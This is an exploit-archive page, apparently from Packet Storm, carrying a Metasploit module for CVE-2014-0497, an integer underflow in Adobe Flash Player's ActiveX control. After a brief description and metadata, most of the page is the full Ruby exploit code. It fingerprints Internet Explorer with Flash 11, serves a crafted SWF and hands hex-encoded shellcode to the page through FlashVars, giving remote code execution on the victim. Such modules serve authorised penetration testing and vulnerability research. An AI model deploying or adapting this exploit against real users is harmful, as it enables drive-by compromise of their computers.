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Adobe Flash Player Integer Underflow Remote Code Execution

Adobe Flash Player Integer Underflow Remote Code Execution
Posted May 5, 2014
Authored by juan vazquez, temp66 | Site metasploit.com

This Metasploit module exploits a vulnerability found in the ActiveX component of Adobe Flash Player before 12.0.0.43. By supplying a specially crafted swf file it is possible to trigger an integer underflow in several avm2 instructions, which can be turned into remote code execution under the context of the user, as exploited in the wild in February 2014. This Metasploit module has been tested successfully with Adobe Flash Player 11.7.700.202 on Windows XP SP3, Windows 7 SP1 and Adobe Flash Player 11.3.372.94 on Windows 8 even when it includes rop chains for several Flash 11 versions, as exploited in the wild.

tags | exploit, remote, code execution, activex
systems | windows, xp, 7
advisories | CVE-2014-0497
MD5 | 6b1a9b03120530ac586d1d91aed1eb53

Adobe Flash Player Integer Underflow Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::BrowserExploitServer

def initialize(info={})
super(update_info(info,
'Name' => "Adobe Flash Player Integer Underflow Remote Code Execution",
'Description' => %q{
This module exploits a vulnerability found in the ActiveX component of Adobe Flash Player
before 12.0.0.43. By supplying a specially crafted swf file it is possible to trigger an
integer underflow in several avm2 instructions, which can be turned into remote code
execution under the context of the user, as exploited in the wild in February 2014. This
module has been tested successfully with Adobe Flash Player 11.7.700.202 on Windows XP
SP3, Windows 7 SP1 and Adobe Flash Player 11.3.372.94 on Windows 8 even when it includes
rop chains for several Flash 11 versions, as exploited in the wild.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # vulnerability discovery and exploit in the wild
'juan vazquez' # msf module
],
'References' =>
[
[ 'CVE', '2014-0497' ],
[ 'OSVDB', '102849' ],
[ 'BID', '65327' ],
[ 'URL', 'http://helpx.adobe.com/security/products/flash-player/apsb14-04.html' ],
[ 'URL', 'http://blogs.technet.com/b/mmpc/archive/2014/02/17/a-journey-to-cve-2014-0497-exploit.aspx' ],
[ 'URL', 'http://blog.vulnhunt.com/index.php/2014/02/20/cve-2014-0497_analysis/' ]
],
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f',
'Retries' => false
},
'Platform' => 'win',
# Versions targeted in the wild:
# [*] Windows 8:
# 11,3,372,94, 11,3,375,10, 11,3,376,12, 11,3,377,15, 11,3,378,5, 11,3,379,14
# 11,6,602,167, 11,6,602,171 ,11,6,602,180
# 11,7,700,169, 11,7,700,202, 11,7,700,224
# [*] Before windows 8:
# 11,0,1,152,
# 11,1,102,55, 11,1,102,62, 11,1,102,63
# 11,2,202,228, 11,2,202,233, 11,2,202,235
# 11,3,300,257, 11,3,300,273
# 11,4,402,278
# 11,5,502,110, 11,5,502,135, 11,5,502,146, 11,5,502,149
# 11,6,602,168, 11,6,602,171, 11,6,602,180
# 11,7,700,169, 11,7,700,202
# 11,8,800,97, 11,8,800,50
'BrowserRequirements' =>
{
:source => /script|headers/i,
:clsid => "{D27CDB6E-AE6D-11cf-96B8-444553540000}",
:method => "LoadMovie",
:os_name => Msf::OperatingSystems::WINDOWS,
:ua_name => Msf::HttpClients::IE,
:flash => lambda { |ver| ver =~ /^11\./ }
},
'Targets' =>
[
[ 'Automatic', {} ]
],
'Privileged' => false,
'DisclosureDate' => "Feb 5 2014",
'DefaultTarget' => 0))
end

def exploit
@swf = create_swf
super
end

def on_request_exploit(cli, request, target_info)
print_status("Request: #{request.uri}")

if request.uri =~ /\.swf$/
print_status("Sending SWF...")
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'})
return
end

print_status("Sending HTML...")
tag = retrieve_tag(cli, request)
profile = get_profile(tag)
profile[:tried] = false unless profile.nil? # to allow request the swf
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
end

def exploit_template(cli, target_info)

swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
shellcode = get_payload(cli, target_info).unpack("H*")[0]

html_template = %Q|<html>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
<param name="movie" value="<%=swf_random%>" />
<param name="allowScriptAccess" value="always" />
<param name="FlashVars" value="id=<%=shellcode%>" />
<param name="Play" value="true" />
</object>
</body>
</html>
|

return html_template, binding()
end

def create_swf
path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2014-0497", "Vickers.swf" )
swf = ::File.open(path, 'rb') { |f| swf = f.read }

swf
end

end

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